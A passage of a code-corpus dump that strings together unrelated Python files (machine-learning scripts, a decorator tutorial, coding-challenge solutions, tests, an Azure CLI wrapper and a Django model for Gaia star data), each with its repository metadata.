i, argstr) try: argl, = parenexpr.parseString(argstr).asList() except ParseException: print '{}:{}'.format(fname, linenum[i]), argstr raise args = [] sufs = [] arg = '' suf = '' def reparen(l): res = [] for s in l: if type(s) == type([]): res += reparen(s) else: res += s return '(' + ''.join(res) + ')' for s in argl: if type(s) == type([]): suf += reparen(s) elif s[0] in "'"+'"': suf += s else: arg += s if ',' in arg: pr,sf = re.split(r',', arg, maxsplit=1) arg = pr.strip() args.append(arg) arg = sf sufs.append(suf) suf = '' while ',' in arg: pr,sf = re.split(',', arg, maxsplit=1) arg = pr.strip() args.append(arg) arg = sf sufs.append('') args.append(arg) sufs.append(suf) if called.lower() in srfiles: # srfile,srline = srfiles[called.lower()] s = mklink(called, srfiles[called.lower()]) myline = prefix + '{}('.format(s) else: myline = prefix + '{}('.format(called) textline = prefix + '{}('.format(called) def join(args,sufs,ints): for arg,suf,intent in zip(args,sufs,ints): arg = format(arg, intent) yield arg + suf try: ints = intents[called.lower()] except KeyError: print 'No intent founds for', called.lower() ints = len(args)*[False] joined = list(join(args,sufs,ints)) pre = '' for j in joined: e = angleexpr.parseString('<'+j+'>').asList()[0] text = ''.join( s for s in e if type(s) != type([]) ) if len(textline+text) > 72: markup += myline pre = ',\n & ' myline = '' textline = '' myline += pre + j textline += pre + text pre = ', ' markup += myline + ')\n' # args1 = ' '.join([ s for s in argl if type(s) != type([]) and s[0] not in "'" + '"' ]) # def argvars(args1): # for s in args1.split(','): # m1 = re.match(r' *(\w*)', s) # yield m1.group(1) # args = list(argvars(args1)) i = i1 + 1 continue # m = re.match(r'( .... *)([a-zA-Z_][a-zA-Z0-9_]*)( *$[^)]*$)?( *=.*$)', line) m = re.match(r'( .... *)([^=]*)(=.*$)', line) if m: #pre,name,args,rhs = m.groups() pre,lhs,rhs = m.groups() try: # check parenthesis on lhs are balanced, or '=' may be in a keyword argument _ = parenexpr.parseString('(' + lhs + ')').asList()[0] except ParseException: iscode = False else: if '(' in lhs: lhs,args = re.split(r'\(', lhs, maxsplit=1) args = '(' + args else: args = '' if srname == '': print '{}:{}: assignment outside of subroutine: {}'.format( fname,linenum[i],line) else: lhs = format(lhs, iswrite=True) # if lhs.lower() in globvars[srname]: # if lhs.lower() in globmods[srname]: ## line = re.sub(lhs, '#{}#'.format(lhs), line, 1, re.I) # lhs = gmodformat.format(lhs) # else: ## line = re.sub(lhs, '|{}|'.format(lhs), line, 0, re.I) # lhs = globformat.format(lhs) markup += pre + lhs # if args: # markup += args # lhs,rhs = re.split(r'=', line, maxsplit=1) # markup += lhs + '=' line = args + rhs + '\n' iscode = True else: iscode = False if iscode or line[:1] == ' ': s = shlex.shlex(line) try: tokens = list(s) except ValueError: pass else: # collaps .*. operators j = 0 while j < len(tokens)-2: if tokens[j] == '.' and tokens[j+2] == '.': if all( s in string.letters for s in tokens[j+1] ): tokens[j:j+3] = [ ''.join(tokens[j:j+3]) ] j += 1 j = 0 for tok in tokens: lentok = len(tok) while line[j] in s.whitespace: markup += line[j] j += 1 # skip over tok if line[j:j+lentok] != tok: if (line[j] == '.' and tok[0] == '.' and tok[-1] == '.' and line[j+1:].lstrip()[:lentok-2] == tok[1:-1] and line[j+1:].lstrip()[lentok-2:].lstrip()[0] == '.'): namestart = line[j+1:].lstrip() nblank = len(line[j+1:]) - len(namestart) nblank += len(namestart[lentok-2:]) - len(namestart[lentok-2:].lstrip()) tok = line[j:j+lentok+nblank] print '{}: joined token {}'.format(fname, tok) else: raise ValueError('{}: expecting token {} found {}'.format(fname, tok, line[j:j+lentok])) assert line[j:j+len(tok)] == tok j += len(tok) if srname: tok = format(tok, write=False) # if srname in globvars and tok.lower() in globvars[srname]: # tok = globformat.format(tok) markup += tok line = line[j:] markup += line i += 1 return ''.join(markup) def mkhtmllink(name, fnameline): fname,line = fnameline link = re.sub(r'^.*/', '', fname) link = re.sub(r'(\.F)?$', '.html', link) return '<a href="{}#{}">{}</a>'.format(link, line, name) def markuphtml(outname, fname, srfiles, subargs, globvars, globmods, intents, link='', fmt='{}'): f = open(outname, 'w') f.write('''<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>''' + fname + '''</title> </head> <body> <pre> ''') if link: globformat = '<a href="{}{{0}}">{{0}}</a>'.format(link) gmodformat = '<a href="{}{{0}}">{{0}}</a>'.format(link) argformat = '<a href="{}{{0}}">{{0}}</a>'.format(link) argmodformat = '<a href="{}{{0}}">{{0}}</a>'.format(link) else: globformat = '{}'.format(fmt) gmodformat = '{}'.format(fmt) argformat = '{}'.format(fmt) argmodformat = '{}'.format(fmt) markup = markupfile(fname, srfiles, subargs, globvars, globmods, intents, globformat, gmodformat, argformat, argmodformat, escape=escapeangles, mklink=mkhtmllink) f.write(markup) f.write('''</pre> </body> </html> ''') if __name__ == '__main__': if '-l' in sys.argv[1:]: subargs = load('subargs.json') direct = load('direct.json') calls = load('calls.json') srfiles = load('srfiles.json') intents = load('intents.json') commons = load('commons.json') globvars = load('globvars.json') globmods = load('globmods.json') else: incpaths = pathdict(rootdir='', ext='.h') forpaths = pathdict(rootdir='', ext='.F') globvars,commons = getallglobals(forpaths.values(), incpaths) subargs,direct,calls,srfiles = getdirects(forpaths.values(), incpaths) intents = findallintents(subargs, direct, calls) globmods = findallglobmods(subargs, direct, calls, intents, globvars) dump('subargs.json', subargs) dump('direct.json', direct) dump('calls.json', calls) dump('srfiles.json', srfiles) dump('intents.json', intents) dump('commons.json', commons) dump('globvars.json', globvars) dump('globmods.json', globmods)

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# we already learned, that functions are first class objects in Python and we # learned that functions can accept other functions as parameters and return # functions # let's assume, we have the following function def add(a, b): return a + b # let's assume, that we want to write some html def tagged(message): return f"{message}" print(tagged(add(1, 2))) # now we can print our tagged result, but we have to use tagged every time # together with add #lets write another function def tagged1(func): def tagged_func(arg1, arg2): return f"{func(arg1, arg2)}" return tagged_func add = tagged1(add) print(add(1,2)) print(add(2,2)) # Lets pause for a moment. We created a function that takes another function, # wrapped it another function and returned the wrapped version and assigned to # the initial function name. Now, we have a new function that not only # calculates the addition but also tagges the result in html. This pattern: # 1. call a function with a function # 2. return a new function # 3. assign the new function to original function name # is called decorator pattern and it is so common that we have a special # syntax for it def tagged(func): def tagged_func(arg1, arg2): return f"{func(arg1, arg2)}" return tagged_func @tagged def add(a, b): return a + b print(add(1,2)) # the @tagged is syntactic sugar for the above mentioned 3 steps # now we are able to tag further functions @tagged def sub(a, b): return a - b print(sub(2,1)) # but there is one problem, what happens, if we want to tag other functions # which do not take exactly 2 arguments @tagged def squared(a): return a**2 #print(squared(2)) # this will fail # However, if we change our tagged function a little bit ... def tagged(func): def tagged_func(*args, **kwargs): return f"{func(*args, **kwargs)}" return tagged_func # it can decorate every function, no matter what kind of parameters this # function expects @tagged def squared(a): return a**2 print(squared(2)) # now, this will work # there is one further problem. After decorating the squared function its # original name has vanished print(squared) # The functools module provides a decorator wraps, which conserves the original # function name (and some further attributes) from functools import wraps def tagged(func): @wraps(func) def tagged_func(*args, **kwargs): return f"{func(*args, **kwargs)}" return tagged_func @tagged def squared(a): return a**2 print(squared(2)) print(squared) # now, the function's name will stay the same # Let's go one step further. We can only tag functions with a tag, which is # in some kind limiting. If we add one further layer, we can solve this # problem, too from functools import wraps def tagged(tag): def tag_with_tag(func): @wraps(func) def tagged_func(*args, **kwargs): return f"<{tag}>{func(*args, **kwargs)}</{tag}>" return tagged_func return tag_with_tag @tagged("h1") def squared(a): return a**2 print(squared(2)) # now, we have a flexible tagged function # decorators are a powerfull tool, which enable you to combine orthogonal # functionality in your program @tagged("h1") @tagged("p") def squared(a): return a**2 print(squared(2)) # the functools module provides some decorators # lru_cache caches a function result and returns the cached value on subsequent # calls from functools import lru_cache from time import sleep @lru_cache() def expensive_job(arg): sleep(2) # wait for 2 seconds return arg print(expensive_job(42)) print(expensive_job(42)) # we already saw @wraps which is used in function decorators to preserve names. # Checkout the docs for functools to discover more usefull stuff

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from sklearn import preprocessing, linear_model, metrics from Titanic.io import * TEST_FEATURE = ['Pclass', 'Sex', 'Age', 'Fare'] def _preprocessing(x): return preprocessing.scale(x) def train_Lasso(): data, raw_data = read_data("./train.csv",) data = feature_engineer(data, raw_data) test_data = data.sample(frac=0.2) data.drop(test_data.index) data = data.as_matrix() label = data[:, 0] x = data[:, 1:] x = _preprocessing(x) reg = linear_model.Lasso(alpha=0.1) reg.fit(x, label) return reg, test_data def test_Lasso(): model, data = train_Lasso() data = data.as_matrix() y_true = data[:, 0] x = data[:, 1:] x = _preprocessing(x) y_pred = model.predict(x).round() print(metrics.f1_score(y_true, y_pred)) def write_result_Lasso(): raw_data, x, result = read_test_data(TEST_FEATURE) # type:DataFrame x = feature_engineer(x, raw_data) X = _preprocessing(x) reg, _ = train_Lasso() y = reg.predict(X).round() result['Survived'] = y.astype(int) result.to_csv("./result.csv", index=False) if __name__ == "__main__": write_result_Lasso()

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import numpy as np var = 6 def eqnfit(chromosome): ''' Equation 1: x^53 + y^42 - z^76 + a^106 + b^25 - c^46 = 0 ''' eqn = chromosome[0]**53 + chromosome[1]**42 - chromosome[2]**76 + chromosome[3]**106 + chromosome[4]**25 - chromosome[5]**46 val = 226 return (1/(eqn-val)) def value(chromosome): return chromosome[0]**53 + chromosome[1]**42 - chromosome[2]**76 + chromosome[3]**106 + chromosome[4]**25 - chromosome[5]**46

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from __future__ import print_function import cgt import numpy as np from cgt import nn from sklearn import datasets from sklearn.cross_validation import train_test_split boston = datasets.load_boston() data = boston.data targets = boston.target nfeats = data.shape[1] # scale data # scaler = StandardScaler().fit(data, targets) # scaled_data = scaler.transform(data, targets) # split data X_train, X_test, Y_train, Y_test = train_test_split(data, targets, test_size=.2, random_state=0) # hyperparams # # Be careful when setting alpha! If it's too large # here the cost will blow up. alpha = 1e-7 epochs = 100 # Linear regression model np.random.seed(0) X = cgt.matrix('X', fixed_shape=(None, nfeats)) Y = cgt.vector('Y') w = cgt.shared(np.random.randn(nfeats) * 0.01) # prediction ypred = cgt.dot(X, w) # cost cost = cgt.square(Y - ypred).mean() # derivative with respect to w dw = cgt.grad(cost=cost, wrt=w) updates = [(w, w - dw * alpha)] # training function trainf = cgt.function(inputs=[X, Y], outputs=[], updates=updates) # cost function, no updates costf = cgt.function(inputs=[X, Y], outputs=cost) for i in xrange(epochs): trainf(X_train, Y_train) C = costf(X_test, Y_test) print("epoch {} cost = {}".format(i+1, C)) wval = w.op.get_value() print("Linear Regression ", wval) # closed form solution wclosed = np.linalg.lstsq(data, targets)[0] print("Closed form ", wclosed) # Tests, linreg_err ~= closed_err linreg_err = np.square(np.dot(X_test, wval) - Y_test).mean() closed_err = np.square(np.dot(X_test, wclosed) - Y_test).mean() print("Linear Regression error = ", linreg_err) print("Closed Form error = ", closed_err)

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dluna132@gmail.com

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Mohit130422/python-code

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#mylist- in python list an object which cna be crated by placing out element inside[].Seprated by(,) it can be of any No. and any types. mylist1=[]#empty mylist2=[1,2,3,4,5]#same type element mylist3=[1,2,"mohit",45.78]#mixed type element print(type(mylist1),' ',type(mylist2),' ',type(mylist3)) print(mylist1) print(mylist2) print(mylist3) #run

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AlexYMH/NN_models_pytorch

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# Luong attention layer class Attn(torch.nn.Module): def __init__(self, method, hidden_size): super(Attn, self).__init__() self.method = method if self.method not in ['dot', 'general', 'concat']: raise ValueError(self.method, "is not an appropriate attention method.") self.hidden_size = hidden_size if self.method == 'general': self.attn = torch.nn.Linear(self.hidden_size, hidden_size) elif self.method == 'concat': self.attn = torch.nn.Linear(self.hidden_size * 2, hidden_size) self.v = torch.nn.Parameter(torch.FloatTensor(hidden_size)) def dot_score(self, hidden, encoder_output): return torch.sum(hidden * encoder_output, dim=2) def general_score(self, hidden, encoder_output): energy = self.attn(encoder_output) return torch.sum(hidden * energy, dim=2) def concat_score(self, hidden, encoder_output): energy = self.attn(torch.cat((hidden.expand(encoder_output.size(0), -1, -1), encoder_output), 2)).tanh() return torch.sum(self.v * energy, dim=2) def forward(self, hidden, encoder_outputs): # Calculate the attention weights (energies) based on the given method if self.method == 'general': attn_energies = self.general_score(hidden, encoder_outputs) elif self.method == 'concat': attn_energies = self.concat_score(hidden, encoder_outputs) elif self.method == 'dot': attn_energies = self.dot_score(hidden, encoder_outputs) # Transpose max_length and batch_size dimensions attn_energies = attn_energies.t() # Return the softmax normalized probability scores (with added dimension) return F.softmax(attn_energies, dim=1).unsqueeze(1)

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singnet/semantic-segmentation-aerial

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import argparse import glob import json import logging import os import pathlib import signal import subprocess import sys import time from service import registry logging.basicConfig(level=10, format="%(asctime)s - [%(levelname)8s] - %(name)s - %(message)s") log = logging.getLogger("run_semantic_segmentation_aerial_service") def main(): parser = argparse.ArgumentParser(description="Run services") parser.add_argument("--no-daemon", action="store_false", dest="run_daemon", help="do not start the daemon") parser.add_argument("--ssl", action="store_true", dest="run_ssl", help="start the daemon with SSL") args = parser.parse_args() root_path = pathlib.Path(__file__).absolute().parent # All services modules go here service_modules = ["service.semantic_segmentation_aerial_service"] # Call for all the services listed in service_modules all_p = start_all_services(root_path, service_modules, args.run_daemon, args.run_ssl) # Continuously checking all subprocesses while True: for p in all_p: p.poll() if p.returncode and p.returncode != 0: log.debug("Subprocess returned code: {}. Killing service and daemon.".format(p.returncode)) kill_processes(all_p) if p.returncode == 5: log.debug("Restarting!") all_p = start_all_services(root_path, service_modules, args.run_daemon, args.run_ssl) else: log.debug("Exiting!") exit(1) time.sleep(1) def start_all_services(cwd, service_modules, run_daemon, run_ssl): """ Loop through all service_modules and start them. For each one, an instance of Daemon "snetd" is created. snetd will start with configs from "snetd.config.json" """ all_p = [] for i, service_module in enumerate(service_modules): service_name = service_module.split(".")[-1] log.info("Launching {} on port {}".format(service_module, str(registry[service_name]))) all_p += start_service(cwd, service_module, run_daemon, run_ssl) for p in all_p: log.debug("Service {} started with PID {}".format(service_module, p.pid)) return all_p def start_service(cwd, service_module, run_daemon, run_ssl): """ Starts SNET Daemon ("snetd") and the python module of the service at the passed gRPC port. """ def add_ssl_configs(conf): """Add SSL keys to snetd.config.json""" with open(conf, "r") as f: snetd_configs = json.load(f) snetd_configs["ssl_cert"] = "/opt/singnet/.certs/fullchain.pem" snetd_configs["ssl_key"] = "/opt/singnet/.certs/privkey.pem" with open(conf, "w") as f: json.dump(snetd_configs, f, sort_keys=True, indent=4) all_p = [] if run_daemon: for idx, config_file in enumerate(glob.glob("./snetd_configs/*.json")): if run_ssl: add_ssl_configs(config_file) all_p.append(start_snetd(str(cwd), config_file)) service_name = service_module.split(".")[-1] grpc_port = registry[service_name]["grpc"] p = subprocess.Popen([sys.executable, "-m", service_module, "--grpc-port", str(grpc_port)], cwd=str(cwd)) all_p.append(p) return all_p def start_snetd(cwd, config_file=None): """ Starts the Daemon "snetd": """ cmd = ["snetd", "serve"] if config_file: cmd = ["snetd", "serve", "--config", config_file] return subprocess.Popen(cmd, cwd=str(cwd)) def kill_processes(all_p): for p in all_p: try: os.kill(p.pid, signal.SIGTERM) except Exception as e: log.error(e) if __name__ == "__main__": main()

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LennartElbe/codeEvo

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import functools import typing import string import random import pytest ## Lösung Teil 1. def divisors(n: int) -> list: start_lst = list(range(1, n+1)) teiler = [] for i, k in start_lst: if i % k == 0: teiler.append(k) return teiler ###################################################################### ## Lösung Teil 2. (Tests) print(divisors(20)) ######################################################################

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prateekiiest/Competitive-Programming-Algo-DS

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# Problem Statement : https://www.hackerrank.com/challenges/cut-the-sticks #!/bin/python import sys n = int(raw_input().strip()) arr = map(int,raw_input().strip().split(' ')) while(arr !=[]): print(len(arr)) m = min(arr) for j in range(len(arr)): arr[j] -= m while(0 in arr): arr.remove(0)

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/number/problem_and_work/long_person_or_year.py

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JingkaiTang/github-play

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2021-01-20T20:18:21.249162

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py

#! /usr/bin/env python def great_part(str_arg): long_eye(str_arg) print('own_week_and_old_eye') def long_eye(str_arg): print(str_arg) if __name__ == '__main__': great_part('feel_woman')

[ "jingkaitang@gmail.com" ]

jingkaitang@gmail.com

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/tests/test_data_utils/test_du_wide.py

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2023-08-09T21:32:27.149152

2019-11-14T22:46:52

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MIT

2020-01-13T04:36:56

2019-11-22T08:08:50

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import numpy as np import pandas as pd import pytest from pytorch_widedeep.preprocessing import WidePreprocessor def create_test_dataset(input_type, with_crossed=True): df = pd.DataFrame() col1 = list(np.random.choice(input_type, 3)) col2 = list(np.random.choice(input_type, 3)) df['col1'], df['col2'] = col1, col2 if with_crossed: crossed = ['_'.join([str(c1), str(c2)]) for c1,c2 in zip(col1, col2)] nuniques = df.col1.nunique() + df.col2.nunique() + len(np.unique(crossed)) else: nuniques = df.col1.nunique() + df.col2.nunique() return df, nuniques some_letters = ['a', 'b', 'c', 'd', 'e'] some_numbers = [1,2,3,4,5] wide_cols = ['col1', 'col2'] cross_cols = [('col1', 'col2')] ############################################################################### # Simple test of functionality making sure the shape match ############################################################################### df_letters, unique_letters = create_test_dataset(some_letters) df_numbers, unique_numbers = create_test_dataset(some_numbers) preprocessor1 = WidePreprocessor(wide_cols, cross_cols) @pytest.mark.parametrize('input_df, expected_shape', [ (df_letters, unique_letters), (df_numbers, unique_numbers) ] ) def test_preprocessor1(input_df, expected_shape): wide_mtx = preprocessor1.fit_transform(input_df) assert wide_mtx.shape[1] == expected_shape ############################################################################### # Same test as before but checking that all works when no passing crossed cols ############################################################################### df_letters_wo_crossed, unique_letters_wo_crossed = create_test_dataset(some_letters, with_crossed=False) df_numbers_wo_crossed, unique_numbers_wo_crossed = create_test_dataset(some_numbers, with_crossed=False) preprocessor2 = WidePreprocessor(wide_cols) @pytest.mark.parametrize('input_df, expected_shape', [ (df_letters_wo_crossed, unique_letters_wo_crossed), (df_numbers_wo_crossed, unique_numbers_wo_crossed) ] ) def test_prepare_wide_wo_crossed(input_df, expected_shape): wide_mtx = preprocessor2.fit_transform(input_df) assert wide_mtx.shape[1] == expected_shape

[ "jrzaurin@gmail.com" ]

jrzaurin@gmail.com

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/test/pyaz/security/setting/__init__.py

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import json, subprocess from ... pyaz_utils import get_cli_name, get_params def list(): params = get_params(locals()) command = "az security setting list " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr) def show(name): params = get_params(locals()) command = "az security setting show " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr)

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/PE17.py

00ea313c8e90592969d68fd94ccf784ad19b22a4

[ "LicenseRef-scancode-warranty-disclaimer" ]

no_license

Cyborn13x/PE

e0e17f2142dea12ffc36a4b00c3089ad5312c10e

8e09bc67e863f597807d7adc08c7686b6234a9c4

refs/heads/master

2020-04-05T23:39:07.147492

2012-12-19T21:14:14

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__docformat__ = "restructuredtext en" import re _NUMBER_NAMES = {1: "one", 2: "two", 3: "three", 4: "four", 5: "five", 6: "six", 7: "seven", 8: "eight", 9: "nine", 10: "ten", 11: "eleven", 12: "twelve", 13: "thirteen", 14: "fourteen", 15: "fifteen", 16: "sixteen", 17: "seventeen", 18: "eighteen", 19: "nineteen", 20: "twenty", 21: "twenty-one", 22: "twenty-two", 23: "twenty-three", 24: "twenty-four", 25: "twenty-five", 26: "twenty-six", 27: "twenty-seven", 28: "twenty-eight", 29: "twenty-nine", 30: "thirty", 31: "thirty-one", 32: "thirty-two", 33: "thirty-three", 34: "thirty-four", 35: "thirty-five", 36: "thirty-six", 37: "thirty-seven", 38: "thirty-eight", 39: "thirty-nine", 40: "forty", 41: "forty-one", 42: "forty-two", 43: "forty-three", 44: "forty-four", 45: "forty-five", 46: "forty-six", 47: "forty-seven", 48: "forty-eight", 49: "forty-nine", 50: "fifty", 51: "fifty-one", 52: "fifty-two", 53: "fifty-three", 54: "fifty-four", 55: "fifty-five", 56: "fifty-six", 57: "fifty-seven", 58: "fifty-eight", 59: "fifty-nine", 60: "sixty", 61: "sixty-one", 62: "sixty-two", 63: "sixty-three", 64: "sixty-four", 65: "sixty-five", 66: "sixty-six", 67: "sixty-seven", 68: "sixty-eight", 69: "sixty-nine", 70: "seventy", 71: "seventy-one", 72: "seventy-two", 73: "seventy-three", 74: "seventy-four", 75: "seventy-five", 76: "seventy-six", 77: "seventy-seven", 78: "seventy-eight", 79: "seventy-nine", 80: "eighty", 81: "eighty-one", 82: "eighty-two", 83: "eighty-three", 84: "eighty-four", 85: "eighty-five", 86: "eighty-six", 87: "eighty-seven", 88: "eighty-eight", 89: "eighty-nine", 90: "ninety", 91: "ninety-one", 92: "ninety-two", 93: "ninety-three", 94: "ninety-four", 95: "ninety-five", 96: "ninety-six", 97: "ninety-seven", 98: "ninety-eight", 99: "ninety-nine"} _CHARACTERS_WE_CARE_ABOUT = re.compile("\w") def _words_from_num(num): """ Convert ``num`` to its (British) English phrase equivalent. If ``num`` is greater than 9,999 then raise an ``Exception``. >>> _words_from_num(115) 'one hundred and fifteen' """ if num >= 10000: raise Exception, 'This function only supports numbers less than 10000.' parts_list = [] if num >= 1000: thousands = num // 1000 parts_list.append(_NUMBER_NAMES[thousands]) parts_list.append(" thousand") num -= thousands * 1000 if num >= 100: hundreds = num // 100 parts_list.append(_NUMBER_NAMES[hundreds]) parts_list.append(" hundred") num -= hundreds * 100 if num: if parts_list: parts_list.append(" and") parts_list.extend([" ", _NUMBER_NAMES[num]]) return "".join(parts_list) def _count_characters_we_care_about(string_to_count): """ Count the characters in ``string_to_count``, excluding things like hyphens and spaces. >>> _count_characters_we_care_about("one hundred and twenty-three") 24 """ return len(_CHARACTERS_WE_CARE_ABOUT.findall(string_to_count)) def problem_17(upper_bound = 1000): """ Find the solution to `Problem 17`_ at `Project Euler`_. .. _Problem 17: http://projecteuler.net/index.php?section=problems&id=17 .. _Project Euler: http://projecteuler.net/ >>> problem_17(2) 6 """ converted_nums = (_words_from_num(num) for num in xrange(1, upper_bound + 1)) lengths = (_count_characters_we_care_about(phrase) for phrase in converted_nums) return sum(lengths) if __name__ == '__main__': print problem_17()

[ "zobayer1@gmail.com" ]

zobayer1@gmail.com

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/src/zukebox/tests/__init__.py

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zanalaci/zukebox

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refs/heads/master

2020-04-05T18:32:20.625164

2016-01-18T13:26:44

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null

2016-01-18T13:24:45

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[ "domoktams@gmail.com" ]

domoktams@gmail.com

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/学习/mnist(4).py

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[]

no_license

FaskyCC/tensorflow

aea4ad11a889b8b60f8beed3a80aabbd9b34cc0a

1485293ded88b43bdae55d741cb92b7f49639c87

refs/heads/master

2020-04-06T11:13:42.164859

2019-03-18T01:28:59

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import tensorflow as tf # 导入MNIST from tensorflow.examples.tutorials.mnist import input_data mnist = input_data.read_data_sets("MNIST_data/",one_hot = True) # 定义输入层、隐含层、输出层的神经元个数 input = 784 hidden1 = 300 output = 10 epoch_size = 50 batch_size = 1000 batch_num = int(mnist.train.num_examples/batch_size) dropout = 1 def add_layer(inputs, in_size, out_size, layer_name, activation_function = None): # 定义隐含层的权重、偏置、激活函数 with tf.name_scope(layer_name): with tf.name_scope("weight"): #Weights = tf.Variable(tf.random_uniform([in_size, out_size])-0.5) Weights = tf.Variable(tf.fill([in_size, out_size], 0.001)) tf.summary.histogram('Weight', Weights) with tf.name_scope("biase"): biases = tf.Variable(tf.zeros([1, out_size]) + 0.01) tf.summary.histogram('biases', biases) with tf.name_scope("Wx_b"): output = tf.matmul(inputs, Weights) + biases if activation_function is None: return output else: output = activation_function(output) return output # 定义输入层，keep_prob是dropout的比例 with tf.name_scope("input"): xs = tf.placeholder(tf.float32, [None, input]) ys = tf.placeholder(tf.float32, [None, output]) keep_prob = tf.placeholder(tf.float32) # 定义隐含层 layer1 = add_layer(xs, 784, 300, 'layer1', activation_function=tf.nn.relu) #定义输出层 prediction = add_layer(layer1, 300, 10, 'layer2', activation_function=tf.nn.softmax) # 定义损失函数———交叉熵 with tf.name_scope("loss"): cross_entropy = tf.reduce_mean(-tf.reduce_sum(ys * tf.log(tf.clip_by_value(prediction, 1e-10, 1.0)), reduction_indices = [1])) tf.summary.scalar('cross_entropy', cross_entropy) # 计算准确率 with tf.name_scope("accuracy"): correct_prediction = tf.equal(tf.argmax(prediction, 1), tf.argmax(ys, 1)) accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32)) # 定义优化器和学习率 with tf.name_scope("train"): train_step = tf.train.GradientDescentOptimizer(0.3).minimize(cross_entropy) # 初始化所有的变量 init = tf.global_variables_initializer() # 开始导入数据，正式计算，迭代3000步，训练时batch size=100 with tf.Session() as sess: sess.run(init) merge = tf.summary.merge_all() writer = tf.summary.FileWriter("log", sess.graph) for i in range(epoch_size*batch_num+1): batch_xs, batch_ys = mnist.train.next_batch(batch_size) sess.run(train_step, feed_dict={xs: batch_xs, ys: batch_ys, keep_prob: dropout}) result = sess.run(merge, feed_dict={xs: batch_xs, ys: batch_ys, keep_prob: 1}) writer.add_summary(result, i) # 训练完加载测试集数据，进行测试 if i % 100 == 0: loss_run = sess.run(cross_entropy, feed_dict={xs: batch_xs, ys: batch_ys, keep_prob: dropout}) accuracy_run = sess.run(accuracy, feed_dict={xs: batch_xs, ys: batch_ys, keep_prob: dropout}) print('After %d steps training steps,The loss is %g and The accuracy is %g' % (i, loss_run, accuracy_run)) loss_run = sess.run(cross_entropy, feed_dict={xs: mnist.test.images, ys: mnist.test.labels, keep_prob: 1}) accuracy_run = sess.run(accuracy,feed_dict={xs: mnist.test.images,ys: mnist.test.labels, keep_prob: 1}) print('The loss in test dataset is %g and The accuracy in test dataset is %g' % (loss_run, accuracy_run)) accuracy_run = sess.run(accuracy, feed_dict={xs: mnist.test.images, ys: mnist.test.labels, keep_prob: 1}) print('The final accuracy in test dataset is %g' % (accuracy_run))

[ "1791853817@qq.com" ]

1791853817@qq.com

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/Callbacks/snapshot.py

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[]

no_license

sahahn/GenDiagFramework

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refs/heads/master

2020-04-14T06:10:10.609366

2019-06-18T20:22:31

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import numpy as np import os import keras.callbacks as callbacks from keras.callbacks import Callback class SnapshotModelCheckpoint(Callback): """Callback that saves the snapshot weights of the model. Saves the model weights on certain epochs (which can be considered the snapshot of the model at that epoch). Should be used with the cosine annealing learning rate schedule to save the weight just before learning rate is sharply increased. # Arguments: nb_epochs: total number of epochs that the model will be trained for. nb_snapshots: number of times the weights of the model will be saved. fn_prefix: prefix for the filename of the weights. """ def __init__(self, nb_epochs, nb_snapshots, fn_prefix='Model'): super(SnapshotModelCheckpoint, self).__init__() self.check = nb_epochs // nb_snapshots self.fn_prefix = fn_prefix def on_epoch_end(self, epoch, logs={}): if epoch != 0 and (epoch + 1) % self.check == 0: filepath = self.fn_prefix + "-%d.h5" % ((epoch + 1) // self.check) self.model.save_weights(filepath, overwrite=True) #print("Saved snapshot at weights/%s_%d.h5" % (self.fn_prefix, epoch)) class SnapshotCallbackBuilder: """Callback builder for snapshot ensemble training of a model. Creates a list of callbacks, which are provided when training a model so as to save the model weights at certain epochs, and then sharply increase the learning rate. """ def __init__(self, nb_epochs, nb_snapshots, init_lr=0.1): """ Initialize a snapshot callback builder. # Arguments: nb_epochs: total number of epochs that the model will be trained for. nb_snapshots: number of times the weights of the model will be saved. init_lr: initial learning rate """ self.T = nb_epochs self.M = nb_snapshots self.alpha_zero = init_lr def get_callbacks(self, model_prefix='Model'): """ Creates a list of callbacks that can be used during training to create a snapshot ensemble of the model. Args: model_prefix: prefix for the filename of the weights. Returns: list of 3 callbacks [ModelCheckpoint, LearningRateScheduler, SnapshotModelCheckpoint] which can be provided to the 'fit' function """ if not os.path.exists('weights/'): os.makedirs('weights/') callback_list = [ callbacks.LearningRateScheduler(schedule=self._cosine_anneal_schedule), SnapshotModelCheckpoint(self.T, self.M, fn_prefix=model_prefix)] return callback_list def _cosine_anneal_schedule(self, t): cos_inner = np.pi * (t % (self.T // self.M)) # t - 1 is used when t has 1-based indexing. cos_inner /= self.T // self.M cos_out = np.cos(cos_inner) + 1 return float(self.alpha_zero / 2 * cos_out)# -*- coding: utf-8 -*-

[ "sahahn@uvm.edu" ]

sahahn@uvm.edu

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/source/models.py

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[]

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olegtropinin/gaia_data_api

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b4e5db2401e7a80cf5e85407813ca2cf9e150adf

refs/heads/master

2022-12-06T16:08:10.212944

2020-08-24T06:12:35

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from django.db import models # Create your models here. class GaiaSource(models.Model): # TODO: Go over all fields to do models.Choices or models.IntegerChoices. For example priam_flags. solution_id = models.PositiveBigIntegerField(help_text='1635721458409799680') designation = models.CharField(max_length=28, help_text='Gaia DR2 1000225938242805248') source_id = models.PositiveBigIntegerField(primary_key=True, help_text='1000225938242805248') random_index = models.PositiveIntegerField(help_text='1197051105') ref_epoch = models.CharField(max_length=6, null=True, help_text='2015.5') ra = models.FloatField(null=True) ra_error = models.FloatField(null=True) dec = models.FloatField(null=True) dec_error = models.FloatField(null=True) parallax = models.FloatField(null=True) parallax_error = models.FloatField(null=True) parallax_over_error = models.FloatField(null=True) pmra = models.FloatField(null=True) pmra_error = models.FloatField(null=True) pmdec = models.FloatField(null=True) pmdec_error = models.FloatField(null=True) ra_dec_corr = models.FloatField(null=True) ra_parallax_corr = models.FloatField(null=True) ra_pmra_corr = models.FloatField(null=True) ra_pmdec_corr = models.FloatField(null=True) dec_parallax_corr = models.FloatField(null=True) dec_pmra_corr = models.FloatField(null=True) dec_pmdec_corr = models.FloatField(null=True) parallax_pmra_corr = models.FloatField(null=True) parallax_pmdec_corr = models.FloatField(null=True) pmra_pmdec_corr = models.FloatField(null=True) astrometric_n_obs_al = models.PositiveSmallIntegerField(null=True, help_text='184') astrometric_n_obs_ac = models.PositiveSmallIntegerField(null=True, 